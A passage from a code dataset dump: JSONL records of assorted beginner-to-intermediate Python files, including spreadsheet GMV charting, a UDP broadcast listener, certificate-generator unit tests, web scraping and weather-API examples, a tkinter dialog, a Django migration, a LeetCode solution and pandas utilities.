[]\r\n# print ('row=%s' % r)\r\n for cell in row :\r\n c += 1\r\n if r == 1:\r\n li.append(cell.value)\r\n continue\r\n elif c == 1 and holer_name != cell.value :\r\n break\r\n li.append(cell.value)\r\n \r\n if len(li):\r\n sheet.append(li)\r\n \r\n wb_new.save(filename_result)\r\n print('Create file %s and create sheet %s' % (filename_result, sheet_name_origin)) \r\n\r\n\r\ndef create_total_gmv_sheet():\r\n '''Create all peoples' quarter and month gmv chart'''\r\n wb = load_workbook(filename=filename_result)\r\n sheet_origin = wb.get_sheet_by_name(sheet_name_origin)\r\n sheet_gmv_total = wb.create_sheet(title=sheet_name_gmv_total)\r\n quarter_set = set([None])\r\n month_set = set([None])\r\n \r\n c = 0\r\n for column in sheet_origin.columns:\r\n r = 0\r\n c += 1\r\n for cell in column:\r\n r += 1 \r\n if 1 != r and cell.value is not None:\r\n ret = sheet_origin.cell(row=1, column=c).value\r\n if ret in table_head:\r\n# print('value:%s\\t'%cell.value),\r\n\r\n if 'Q' == ret[8]:\r\n if gmv_statistics['quarter'][ret[-2:]].has_key(ret[4:8]) is False:\r\n quarter_set.add(int(ret[4:8]))\r\n gmv_statistics['quarter'][ret[-2:]][ret[4:8]] = 0.0\r\n gmv_statistics['quarter'][ret[-2:]][ret[4:8]] += cell.value # for quarter\r\n \r\n else:\r\n if gmv_statistics['month'][ret[-3:]].has_key(ret[4:8]) is False:\r\n month_set.add(int(ret[4:8]))\r\n gmv_statistics['month'][ret[-3:]][ret[4:8]] = 0.0\r\n gmv_statistics['month'][ret[-3:]][ret[4:8]] += cell.value # for month\r\n \r\n \r\n kind = ['quarter', 'month']\r\n for i in kind:\r\n if i == 'quarter' :\r\n ql = list(quarter_set)\r\n ql.sort()\r\n ql.append('YOY')\r\n sheet_gmv_total.append(ql)\r\n else:\r\n sheet_gmv_total['A10']\r\n ml = list(month_set)\r\n ml.sort()\r\n ml.append('YOY')\r\n sheet_gmv_total.append(ml) # the position is 'A11'\r\n \r\n li = sorted(gmv_statistics[i].iteritems(), key=lambda d:d[0], reverse=False) # d[0], means sorted by key\r\n for tu in li:\r\n result = []\r\n print(tu[0] + ':')\r\n result.append(tu[0])\r\n \r\n dic = sorted(tu[1].iteritems(), key=lambda d:d[0], reverse=False) # d[0], means sorted by key\r\n print(dic) \r\n \r\n if 'Q1' in tu[0] or 'm01' in tu[0]: # 'Q1' ..., or 'm1' ...\r\n len1 = len(dic)\r\n \r\n for k in dic:\r\n print(k[0] + ': ' + str(k[1]) + ' ' * 5),\r\n result.append(k[1])\r\n\r\n #deal with the 'yoy' \r\n if len(dic) != len1 : \r\n ret = len1 - len(dic)\r\n for i in range(ret):\r\n result.insert(len(dic), None)\r\n \r\n length = len(result)\r\n if result[length - 3] is not None and result[length - 2] is not None:\r\n result[length - 1] = result[length - 2] / int(result[length - 3]) - 1\r\n else:\r\n result[length - 1] = None\r\n \r\n print('\\n')\r\n sheet_gmv_total.append(result)\r\n \r\n # create quarter gmv chart\r\n chart_quarter = BarChart()\r\n chart_quarter.type = \"col\"\r\n chart_quarter.style = 10\r\n chart_quarter.title = \"Quarter Statistics Chart\"\r\n chart_quarter.y_axis.title = 'gmv'\r\n chart_quarter.x_axis.title = 'quarter'\r\n \r\n data = Reference(sheet_gmv_total, min_col=2, min_row=1, max_row=5, max_col=4)\r\n cats = Reference(sheet_gmv_total, min_col=1, min_row=2, max_row=5)\r\n chart_quarter.add_data(data, titles_from_data=True)\r\n chart_quarter.set_categories(cats)\r\n chart_quarter.shape = 10\r\n sheet_gmv_total.add_chart(chart_quarter, \"H1\")\r\n \r\n # create month gmv chart\r\n chart_month = BarChart()\r\n chart_month.type = \"col\"\r\n chart_month.style = 10\r\n chart_month.title = \"Month Statistics Chart\"\r\n chart_month.y_axis.title = 'gmv'\r\n chart_month.x_axis.title = 'month'\r\n \r\n data = Reference(sheet_gmv_total, min_col=2, min_row=11, max_row=23, max_col=4)\r\n cats = Reference(sheet_gmv_total, min_col=1, min_row=12, max_row=23)\r\n chart_month.add_data(data, titles_from_data=True)\r\n chart_month.set_categories(cats)\r\n chart_month.shape = 10\r\n sheet_gmv_total.add_chart(chart_month, \"H21\")\r\n \r\n wb.save(filename_result)\r\n \r\n print('\\n Create sheet \\\"%s\\\" in \\\"%s\\\"' % \r\n (sheet_name_gmv_total, filename_result))\r\n \r\n\r\ndef create_personal_gmv_sheet():\r\n wb = load_workbook(filename=filename_result)\r\n sheet_origin = wb.get_sheet_by_name(sheet_name_origin)\r\n sheet_gmv_personal = wb.create_sheet(title=sheet_name_gmv_personal)\r\n head_line_subscript = {}\r\n \r\n all_person_positive_yoy={}\r\n kind_list = ['quarter', 'month']\r\n \r\n quarter_set = set([None])\r\n month_set = set([None])\r\n r = 0\r\n for row in sheet_origin.rows:\r\n gmv_statistics_temp= gmv_statistics\r\n \r\n \r\n c = 0\r\n r += 1\r\n li = []\r\n# print ('row=%s' % r)\r\n for cell in row :\r\n c += 1\r\n ret = cell.value \r\n if r == 1 and ret in table_head:\r\n head_line_subscript[ret[4:]] = c \r\n# continue\r\n else:\r\n if user_id == str(sheet_origin.cell(row=r, column=2).value):\r\n for key, value in head_line_subscript.items():\r\n if c == value:\r\n if 'Q' in key: \r\n quarter_set.add(int(key[0:4]))\r\n gmv_statistics_temp['quarter'][key[-2:]][key[0:4]] = cell.value # for quarter\r\n print(\"gmv_statistics_temp['quarter'][%s][%s]=%s\" % (key[-2:], key[0:4], cell.value))\r\n else:\r\n month_set.add(int(key[0:4]))\r\n gmv_statistics_temp['month'][key[-3:]][key[0:4]] = cell.value # for month\r\n print(\"gmv_statistics_temp['month'][%s][%s]=%s\" % (key[-3:], key[0:4], cell.value))\r\n \r\n \r\n# for key, value in head_line_subscript.items():\r\n# print(key + ':' + str(value))\r\n \r\n \r\n kind = ['quarter', 'month']\r\n for i in kind:\r\n if i == 'quarter' :\r\n ql = list(quarter_set)\r\n ql.sort()\r\n ql.append('YOY')\r\n sheet_gmv_personal.append(ql)\r\n else:\r\n sheet_gmv_personal['A10']\r\n ml = list(month_set)\r\n ml.sort()\r\n ml.append('YOY')\r\n sheet_gmv_personal.append(ml) # the position is 'A11'\r\n \r\n li = sorted(gmv_statistics[i].iteritems(), key=lambda d:d[0], reverse=False) # d[0], means sorted by key\r\n one_person_result=[]\r\n for tu in li:\r\n result = []\r\n print(tu[0] + ':')\r\n result.append(tu[0])\r\n \r\n dic = sorted(tu[1].iteritems(), key=lambda d:d[0], reverse=False) # d[0], means sorted by key\r\n print(dic) \r\n \r\n if 'Q1' in tu[0] or 'm01' in tu[0]: # 'Q1' ..., or 'm1' ...\r\n len1 = len(dic)\r\n \r\n for k in dic:\r\n print(k[0] + ': ' + str(k[1]) + ' ' * 5),\r\n result.append(k[1])\r\n \r\n #deal with the 'yoy' \r\n if len(dic) != len1 : \r\n ret = len1 - len(dic)\r\n for i in range(ret):\r\n result.insert(len(dic), None)\r\n \r\n length = len(result)\r\n if result[length - 3] is not None and result[length - 2] is not None:\r\n result[length - 1] = result[length - 2] / int(result[length - 3]) - 1\r\n else:\r\n result[length - 1] = None\r\n one_person_result.append(result)\r\n print('\\n')\r\n \r\n for one_line in one_person_result:\r\n sheet_gmv_personal.append(one_line) \r\n# sheet_gmv_personal.append(result)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n# for kind in kind_list:\r\n# if kind == 'quarter' :\r\n# ql = list(quarter_set)\r\n# ql.sort()\r\n# ql.append('YOY')\r\n# sheet_gmv_personal.append(ql)\r\n# else:\r\n# sheet_gmv_personal['A10']\r\n# ml = list(month_set)\r\n# ml.sort()\r\n# ml.append('YOY')\r\n# sheet_gmv_personal.append(ml) # the position is 'A11'\r\n# li = sorted(gmv_statistics_temp[kind].iteritems(), key=lambda d:d[0], reverse=False) # d[0], means sorted by key\r\n# is_positive_gmv=True\r\n# is_none = 0\r\n# one_person_result=[]\r\n# for tu in li:\r\n# if is_positive_gmv is False:\r\n# break\r\n# \r\n# result = []\r\n# print(tu[0] + ':')\r\n# result.append(tu[0])\r\n# \r\n# dic = sorted(tu[1].iteritems(), key=lambda d:d[0], reverse=False) # d[0], means sorted by key\r\n# print(dic) \r\n# \r\n# if 'Q1' in tu[0] or 'm01' in tu[0]: # 'Q1' ..., or 'm1' ...\r\n# len1 = len(dic)\r\n# \r\n# for k in dic:\r\n# print(k[0] + ': ' + str(k[1]) + ' ' * 5),\r\n# result.append(k[1]) \r\n# \r\n# #deal with the 'yoy' \r\n# if len(dic) != len1 : \r\n# ret = len1 - len(dic)\r\n# for i in range(ret):\r\n# result.insert(len(dic), None)\r\n# \r\n# length = len(result)\r\n# if result[length - 3] is not None and result[length - 2] is not None:\r\n# print('result=%s, %s, %s.'%(result[length - 1], result[length - 2] ,int(result[length - 3])))\r\n# result[length - 1] = result[length - 2] / int(result[length - 3]) - 1\r\n# # if result[length - 1] < 0:\r\n# # is_positive_gmv =False\r\n# # break\r\n# else:\r\n# result[length - 1] = None\r\n# # is_none+=1\r\n# # if (kind=='quarter' and is_none == 4) or (kind=='month' and is_none == 12):\r\n# # is_positive_gmv =False\r\n# # break\r\n# one_person_result.append(result)\r\n# print('\\n')\r\n# for one_line in one_person_result:\r\n# sheet_gmv_personal.append(one_line)\r\n \r\n \r\n\r\n \r\n wb.save(filename_result)\r\n print('\\n Create sheet \\\"%s\\\" in \\\"%s\\\"' %\r\n (sheet_name_gmv_personal, filename_result)) \r\n \r\n# read_origin_and_create_new_xlsl()\r\n# create_total_gmv_sheet()\r\ncreate_personal_gmv_sheet()\r\n","sub_path":"package-module/excel/data-analysis.py","file_name":"data-analysis.py","file_ext":"py","file_size_in_byte":14060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"247823541","text":"from socket import *\ns = socket(AF_INET,SOCK_DGRAM)\n\n# 设置可以接受广播\ns.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)\n\ns.bind(('0.0.0.0',9898))\n\nwhile True:\n try:\n msg,addr = s.recvfrom(1024)\n print(\"mag:\",msg.decode())\n except KeyboardInterrupt:\n break\n\ns.close()\n","sub_path":"pythonNet/ex02_UDP/broadcast_recv.py","file_name":"broadcast_recv.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"368605930","text":"#!/usr/bin/env python\n\nimport unittest\n\nfrom nose.tools import raises, assert_equal\n\nfrom signer import CertificateGenerator\n\nclass GenerationTests(unittest.TestCase):\n def setUp(self):\n self.certificate_info = {\n 'C': 'US',\n 'ST': 'Texas',\n 'L': 'San Antonio',\n 'O': 'Big Bob\\'s Beepers',\n 'OU': 'Marketing',\n 'CN': 'example.com'\n }\n\n def test_keypair_type(self):\n import OpenSSL.crypto\n cert_generator = CertificateGenerator(2048, self.certificate_info)\n self.assertTrue(isinstance(cert_generator.keypair, OpenSSL.crypto.PKey))\n\n def test_keypair_bits(self):\n cert_generator = CertificateGenerator(2048, self.certificate_info)\n assert_equal(cert_generator.keypair.bits(), 2048)\n\n cert_generator = CertificateGenerator(1024, self.certificate_info)\n assert_equal(cert_generator.keypair.bits(), 1024)\n\n def test_certificate_length(self):\n cert_generator = CertificateGenerator(2048, self.certificate_info)\n assert_equal(len(cert_generator.certificate), 1066)\n\n def test_certificate_starts_with(self):\n cert_generator = CertificateGenerator(2048, self.certificate_info)\n self.assertTrue(cert_generator.certificate.startswith('-----BEGIN CERTIFICATE-----'))\n\n def test_certificate_ends_with(self):\n cert_generator = CertificateGenerator(2048, self.certificate_info)\n self.assertTrue(cert_generator.certificate.endswith('-----END CERTIFICATE-----\\n'))\n\n def test_private_key_starts_with(self):\n cert_generator = CertificateGenerator(2048, self.certificate_info)\n self.assertTrue(cert_generator.private_key.startswith('-----BEGIN PRIVATE KEY-----'))\n\n def test_private_key_ends_with(self):\n cert_generator = CertificateGenerator(2048, self.certificate_info)\n self.assertTrue(cert_generator.private_key.endswith('-----END PRIVATE KEY-----\\n'))\n\nclass ExceptionTests(unittest.TestCase):\n @raises(KeyError)\n def test_missing_country(self):\n certificate_info = {\n 'ST': 'Texas',\n 'L': 'San Antonio',\n 'O': 'Big Bob\\'s Beepers',\n 'CN': 'example.com'\n }\n CertificateGenerator(2048, certificate_info)\n\n @raises(KeyError)\n def test_missing_state(self):\n certificate_info = {\n 'C': 'US',\n 'L': 'San Antonio',\n 'O': 'Big Bob\\'s Beepers',\n 'CN': 'example.com'\n }\n CertificateGenerator(2048, certificate_info)\n\n @raises(KeyError)\n def test_missing_locality(self):\n certificate_info = {\n 'C': 'US',\n 'ST': 'Texas',\n 'O': 'Big Bob\\'s Beepers',\n 'CN': 'example.com'\n }\n CertificateGenerator(2048, certificate_info)\n\n @raises(KeyError)\n def test_missing_organization(self):\n certificate_info = {\n 'C': 'US',\n 'ST': 'Texas',\n 'L': 'San Antonio',\n 'CN': 'example.com'\n }\n CertificateGenerator(2048, certificate_info)\n\n @raises(KeyError)\n def test_missing_common_name(self):\n certificate_info = {\n 'C': 'US',\n 'ST': 'Texas',\n 'L': 'San Antonio',\n 'O': 'Big Bob\\'s Beepers'\n }\n CertificateGenerator(2048, certificate_info)\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"476832960","text":"import bs4\n\nsoup = bs4.BeautifulSoup(open(\"../html_doc.html\"), \"lxml\")\n\nprint(soup.prettify())\n\n\nsoup.title\n# The Dormouse's story\n\n#title的name值\nsoup.title.name\n# u'title'\n\n#title中的字符串String\nsoup.title.string\n# u'The Dormouse's story'\n\n#title的父亲节点的name属性\nsoup.title.parent.name\n# u'head'\n\n#文档的第一个找到的段落\nsoup.p\n#

The Dormouse's story

\n\n#找到的p的class属性值\nsoup.p['class']\n# u'title'\n\n#找到a标签\nsoup.a\n# http://example.com/elsie\" id=\"link1\">Elsie\n\n#找到所有的a标签\nsoup.find_all('a')\n# [http://example.com/elsie\" id=\"link1\">Elsie,\n# http://example.com/lacie\" id=\"link2\">Lacie,\n# http://example.com/tillie\" id=\"link3\">Tillie]\n\n#找到id值等于3的a标签\nsoup.find(id=\"link3\")\n# http://example.com/tillie\" id=\"link3\">Tillie\nfor link in soup.find_all('a'):\n print(link.get('href'))\n\nprint(soup.get_text())\n\nfor string in soup.strings:\n print(repr(string))","sub_path":"bs4/bs4_example1.py","file_name":"bs4_example1.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"210861576","text":"# !/usr/bin/python\n# -*- coding: utf8 -*-\nimport os, sys\n\n\nprato = 5\nlista = list(range(1,prato+1))\nwhile True:\n print (\"\\nExistem %d pratos na pilha\" % len(lista))\n print (\"Pilha Atual:\", lista)\n print (\"E para empilhar um novo prato\")\n print (\"ou D para desempilhar. S para sair\")\n operacao = input(\"Operação (E, D, ou S): \")\n if operacao == \"D\":\n if (len(lista))>0:\n lavado = lista.pop(-1)\n print (\"Pratos %d lavados\" % lavado)\n else:\n print(\"Pilha vazia! Nada para Lavar.\")\n elif operacao == \"E\":\n prato +=1 #Novo Prato\n lista.append(prato)\n elif operacao == \"S\":\n break\n else:\n print (\"Operação Inválida! Digite apenas E, D ou S!\")","sub_path":"exercicio5.py","file_name":"exercicio5.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"530706991","text":"\n# 1. Make your API Key\n# 2. Python2/3 you can make API calls fetch data in json\n# 3. Json try separate elements into variables\n\nimport requests\nimport re\nimport datetime\n\n\ndef data_organizer(raw_api_dict):\n data = dict(\n city=raw_api_dict.get('name'),\n country=raw_api_dict.get('sys').get('country'),\n temp=raw_api_dict.get('main').get('temp'),\n temp_max=raw_api_dict.get('main').get('temp_max'),\n temp_min=raw_api_dict.get('main').get('temp_min'),\n humidity=raw_api_dict.get('main').get('humidity'),\n pressure=raw_api_dict.get('main').get('pressure'),\n sky=raw_api_dict['weather'][0]['main'],\n sunrise=raw_api_dict.get('sys').get('sunrise'),\n sunset=raw_api_dict.get('sys').get('sunset'),\n wind=raw_api_dict.get('wind').get('speed'),\n wind_deg=raw_api_dict.get('deg'),\n dt=raw_api_dict.get('dt'),\n cloudiness=raw_api_dict.get('clouds').get('all')\n )\n return data\n\n\n\nr = requests.get(url='http://api.openweathermap.org/data/2.5/forecast?q=bangalore&mode=json&units=metric&APPID=xxxxxxxxxxxxxxx')\njson_data= r.json()\n# print(json_data)\n# print(json_data['list'][0]['dt_txt'])\nlist_items= json_data['list']\n# print(list_items)\n\n#02-07-2018\n\n\n\nnow = datetime.datetime.now()\n# print(now)\ntoday= now.day\n\n#\nlist_indices = []\n#\nfor items in list_items:\n matchObj = re.match(r\"(\\d+)-(\\d+)-(\\d+)\",items['dt_txt'], re.M | re.I)\n # print(matchObj.group(3))\n list_indices.append(matchObj[3])\n# print(list_indices)\n\n#\n# # print(list_indices[0])\n#\n# list.index(item)\n\n# print(today)\nfor items in list_indices:\n if(int(items) == today+1):\n # print(\"yay\")\n # print(items)\n index=list_indices.index(items)\n # print(index)\n break\n\n# print(index)\n# #\n# print(list_items[index])\n\nprint(data_organizer(list_items[index]))\n\n\n\n#\n# for items in list_items:\n# print(items['dt_txt'])\n# # var=current date\n# # if(pattern comp var):\n# # today=items\n# # elif(pattern comp var-1 ):\n# # previous=items\n# # elif(pattern comp var+1)\n# # tomorrow=items\n# import tkinter\n#\n# m=tkinter.Tk(className='First window')\n# m.mainloop()\n#\n# import datetime\n# import json\n# import urllib.request\n# from tkinter import *\n#\n#\n# def fetch_data():\n# city_name = city_entry.get()\n# data_output(data_organizer(data_fetch(url_builder(city_name))))\n#\n# def time_converter(time):\n# converted_time = datetime.datetime.fromtimestamp(\n# int(time)\n# ).strftime('%I:%M %p')\n# return converted_time\n#\n#\n# def url_builder(city_name):\n# user_api = 'xxxxxxxxxxxxxxxxxx' # Obtain yours form: http://openweathermap.org/\n# unit = 'metric' # For Fahrenheit use imperial, for Celsius use metric, and the default is Kelvin.\n# api = 'http://api.openweathermap.org/data/2.5/weather?q=' # Search for your city ID here: http://bulk.openweathermap.org/sample/city.list.json.gz\n#\n# full_api_url = api + str(city_name) + '&mode=json&units=' + unit + '&APPID=' + user_api\n# return full_api_url\n# # http://api.openweathermap.org/data/2.5/weather?id=1273294&mode=json&units=metric&APPID=xxxxxxxxxxxxxx\n#\n#\n# def data_fetch(full_api_url):\n# url = urllib.request.urlopen(full_api_url)\n# output = url.read().decode('utf-8')\n# # print(output)\n# raw_api_dict = json.loads(output)\n# # print(raw_api_dict)\n# url.close()\n# return raw_api_dict\n#\n#\n# def data_organizer(raw_api_dict):\n# data = dict(\n# city=raw_api_dict.get('name'),\n# country=raw_api_dict.get('sys').get('country'),\n# temp=raw_api_dict.get('main').get('temp'),\n# temp_max=raw_api_dict.get('main').get('temp_max'),\n# temp_min=raw_api_dict.get('main').get('temp_min'),\n# humidity=raw_api_dict.get('main').get('humidity'),\n# pressure=raw_api_dict.get('main').get('pressure'),\n# sky=raw_api_dict['weather'][0]['main'],\n# sunrise=time_converter(raw_api_dict.get('sys').get('sunrise')),\n# sunset=time_converter(raw_api_dict.get('sys').get('sunset')),\n# wind=raw_api_dict.get('wind').get('speed'),\n# wind_deg=raw_api_dict.get('deg'),\n# dt=time_converter(raw_api_dict.get('dt')),\n# cloudiness=raw_api_dict.get('clouds').get('all')\n# )\n# return data\n#\n#\n# def data_output(data):\n#\n#\n# m_symbol = '\\xb0' + 'C'\n# degree_sign = u'\\N{DEGREE SIGN}'\n# # print('---------------------------------------')\n# # print('Current weather in: {}, {}:'.format(data['city'], data['country']))\n# # print(data['temp'], m_symbol, data['sky'])\n# # print('Max: {}, Min: {}'.format(data['temp_max'], data['temp_min']))\n# # print('')\n# # print('Wind Speed: {}, Degree: {}'.format(data['wind'], data['wind_deg']))\n# # print('Humidity: {}'.format(data['humidity']))\n# # print('Cloud: {}'.format(data['cloudiness']))\n# # print('Pressure: {}'.format(data['pressure']))\n# # print('Sunrise at: {}'.format(data['sunrise']))\n# # print('Sunset at: {}'.format(data['sunset']))\n# # print('')\n# # print('Last update from the server: {}'.format(data['dt']))\n# # print('---------------------------------------')\n# # print(data)\n#\n# # print(data.get('city'))\n# city_lab= Label(m,text=\"City:\")\n# city_lab.grid(row=5,column=0)\n#\n# city_data.config(text=data['city'])\n# city_data.grid(row=5,column=1)\n#\n# country_data.config(text=data['country'])\n# country_data.grid(row=5, column=2)\n#\n# temp_max.config(text=str(data['temp_max'])+m_symbol)\n# temp_max.grid(row=6, column=1)\n#\n# temp_min.config(text=str(data['temp_min'])+m_symbol)\n# temp_min.grid(row=6, column=2)\n#\n#\n# try:\n# # city_name= input(\"Enter a city name:\")\n# m = Tk(className='Weather Forecast')\n#\n# city_label = Label(m,text=\"Enter a city: \")\n# city_label.grid(row=0,column=0)\n# city_entry = Entry(m)\n# city_entry.grid(row=0,column=1)\n#\n#\n# show = Button(m,text=\"Show\", command=fetch_data)\n# show.grid(row=1, column=1)\n#\n# city_data = Label(m)\n# country_data= Label(m)\n# temp_max = Label(m)\n# temp_min = Label(m)\n# # city_name = input(\"Enter a city name:\")\n#\n# m.mainloop()\n# except IOError:\n# print('no internet')","sub_path":"weather_dummy.py","file_name":"weather_dummy.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"234366833","text":"import tkinter as tk\nfrom config import CONFIG\n\n\nclass FrameReplace(tk.Toplevel):\n def __init__(self, root=None, helper=None):\n super().__init__(root)\n\n self.root = root\n self.helper = helper\n\n self.title(CONFIG['REPLACE_WINDOW_TITLE'])\n self.resizable(0, 0)\n self.focus_force()\n\n self.find_v = tk.StringVar()\n self.repl_v = tk.StringVar()\n self.c_reg_v = tk.IntVar()\n\n self.find_label = tk.Label(self, text='Find what:')\n self.find_label.grid(row=0, column=0, sticky='e', padx=10, pady=(10, 0))\n\n self.find_entry = tk.Entry(self, textvariable=self.find_v)\n self.find_entry.grid(row=0, column=1, sticky='ew', padx=10, pady=(10, 0))\n\n self.repl_btn = tk.Button(self, text='Replace', command=self.helper.find_replace)\n self.repl_btn.grid(row=0, column=2, sticky='nsew', padx=10, pady=(10, 0))\n\n self.repl_label = tk.Label(self, text='Replace with:')\n self.repl_label.grid(row=1, column=0, sticky='e', padx=10, pady=10)\n\n self.repl_entry = tk.Entry(self, textvariable=self.repl_v)\n self.repl_entry.grid(row=1, column=1, sticky='ew', padx=10, pady=10)\n\n self.repl_all_btn = tk.Button(self, text='Replace all', command=lambda: self.helper.find_replace(replace_all=True))\n self.repl_all_btn.grid(row=1, column=2, sticky='nsew', padx=10, pady=10)\n\n self.checkbox_regex = tk.Checkbutton(self, text='Match as regex', variable=self.c_reg_v, onvalue=1, offvalue=0)\n self.checkbox_regex.grid(row=2, column=1, sticky='e', padx=10, pady=(0, 10))\n\n self.cancel_btn = tk.Button(self, text='Cancel', command=lambda: self.destroy())\n self.cancel_btn.grid(row=2, column=2, sticky='nsew', padx=10, pady=(0, 10))\n\n self.grid_columnconfigure(1, weight=1)\n","sub_path":"frames/frame_replace.py","file_name":"frame_replace.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"179633693","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('articles', '0013_slideshowimage'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='article',\n name='slideshow_images',\n field=models.ManyToManyField(to='articles.SlideshowImage', null=True, blank=True),\n ),\n ]\n","sub_path":"articles/migrations/0014_article_slideshow_images.py","file_name":"0014_article_slideshow_images.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"173011917","text":"import numpy as np\r\n\r\n\r\ndef get_U1(X, W):\r\n U1 = X @ W\r\n return U1\r\n\r\n\r\ndef get_U2(U1, B):\r\n U2 = U1 + B\r\n return U2\r\n\r\n\r\ndef relu(X):\r\n x_in = np.array(X)\r\n for i in range(len(X)):\r\n for j in range(len(X[0])):\r\n if x_in[i][j] > 0:\r\n pass\r\n else:\r\n x_in[i][j] = 0\r\n return x_in\r\n\r\n\r\ndef get_Y(U2):\r\n return relu(U2)\r\n\r\n\r\nminibatch_size = 5\r\nnumber_node = 10\r\n\r\n\r\ndef layer(X, W, B):\r\n U1 = get_U1(X, W)\r\n U2 = get_U2(U1, B)\r\n Y = get_Y(U2)\r\n return Y\r\n\r\n\r\na = np.array([i for i in range(20)]).reshape((5, 4))\r\nprint(a)\r\nb = np.array([i for i in range(40)]).reshape((4, 10))\r\nprint(b)\r\nc = np.array([1 for i in range(50)]).reshape((5, 10))\r\nprint(c)\r\n\r\ny = layer(a,b,c)\r\nprint(y)","sub_path":"convolutional_layer_implementation/other_party/obsolete/~~sandbox_v1001.py","file_name":"~~sandbox_v1001.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"343330270","text":"from data.entities.AbstractEntity import AbstractEntity\nfrom sqlalchemy import Column, Integer, DateTime, ForeignKey\nfrom types import IntType, LongType\n\nfrom datetime import datetime\n\nclass ExerciseSetEntity(AbstractEntity):\n \"\"\"\n Represents a single ExerciseSet in the database\n \"\"\"\n\n __tablename__ = 'sets'\n\n def __init__(self, user_id, program_id, exercise_type_id, workout_id, start_time, end_time):\n \"\"\"\n Initializes this entity\n\n @type user_id: IntType\n @type start_time: datetime\n @type end_time: datetime\n\n @postcondition: endtime > start_time\n \"\"\"\n assert isinstance(user_id, IntType), type(user_id)\n assert isinstance(program_id, LongType), type(program_id)\n assert isinstance(exercise_type_id, IntType), type(exercise_type_id)\n assert isinstance(workout_id, IntType), type(workout_id)\n assert isinstance(start_time, datetime), type(start_time)\n assert isinstance(end_time, datetime), type(end_time)\n if (end_time):\n assert end_time > start_time\n\n self.user_id = user_id\n self.program_id = program_id\n self.exercise_type_id = exercise_type_id\n self.workout_id = workout_id\n self.start_time = start_time\n self.end_time = end_time\n\n\n id = Column(Integer, primary_key=True)\n workout_id = Column(Integer, ForeignKey(\"workouts.id\"), nullable=False),\n user_id = Column(Integer, ForeignKey(\"user.id\"), nullable=False)\n exercise_type_id = Column(Integer, ForeignKey(\"exercise_types.id\"), nullable=False)\n program_id = Column(Integer, ForeignKey(\"programs.id\"), nullable=False)\n start_time = Column(DateTime, nullable=False)\n end_time = Column(DateTime) #conceivably a workout could never end...\n","sub_path":"data/entities/ExerciseSetEntity.py","file_name":"ExerciseSetEntity.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"28404973","text":"# --------------\n#Importing header files\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#Path of the file\r\ndata=pd.read_csv(path)\r\ndata.rename(columns={'Total':'Total_Medals'},inplace=True)\r\ndata.head(10)\r\n\r\n#Code starts here\r\n\n\n\n# --------------\n#Code starts here\r\n#print(data)\r\ndata['Better_Event'] = np.where(data['Total_Summer']>data['Total_Winter'],'Summer',np.where(data['Total_Summer'] int:\n '''\n 226 = nw(2) +\n '''\n if not s:\n return 0\n\n table = [0]*(len(s)+1)\n table[0] = 1\n table[1] = 0 if s[0] == '0' else 1\n for i in range(2, len(s)+1):\n singleDigit = int(s[i-1:i])\n doubleDigit = int(s[i-2:i])\n if singleDigit > 0:\n table[i] += table[i-1]\n if doubleDigit >= 10 and doubleDigit <= 26:\n table[i] += table[i-2]\n return table[-1]\n\n\n'''\n\nInitially tried this but it didn't work because of shitty test cases like \"01\"... \n\nclass Solution:\n def numDecodings(self, s: str) -> int:\n def decoder(s):\n num = 1\n if not s:\n return 0\n if len(s) <= 2 and int(s[:2]) <= 26 and int(s[:2]) >= 10:\n num += 1\n if len(s) <= 1:\n num += 1\n num += decoder(s[2:])\n return num\n \n return decoder(s)\n\n'''\n","sub_path":"leetcode/91_Decode_Ways.py","file_name":"91_Decode_Ways.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"358293034","text":"\"\"\"\nUtility functions to manipulate the database\n\"\"\"\nimport os\nimport numpy as np\nimport pandas as pd\n\n\ndef delete_rows(df_cond, keep_defects):\n \"\"\"\n Delete rows where the defects that we want to consider are not present\n \"\"\"\n df_cond = df_cond[df_cond['PACP_Code'].isin(keep_defects)]\n return df_cond\n\n\ndef delete_inspections_with_no_defects(df_cond, defects):\n \"\"\"\n Delete those inspections where there aren't any defects at all.\n By defects we mean fractures, cracks, etc. Not tap and manhole\n \"\"\"\n insp_ids = np.unique(list(df_cond['InspectionID']))\n\n keep_ids = [] # Inspection IDs that we want to keep\n\n for insp_id in insp_ids:\n df_temp = df_cond[(df_cond['InspectionID'] == insp_id)]\n if df_temp['PACP_Code'].isin(defects).sum() > 0:\n keep_ids.append(insp_id)\n\n return df_cond[df_cond['InspectionID'].isin(keep_ids)]\n\n\ndef calculate_length_of_pipeline(df_cond):\n # Find total length of pipeline\n insps = df_cond['InspectionID'].unique()\n length = 0.0\n for insp in insps:\n df_temp = df_cond[df_cond['InspectionID'] == 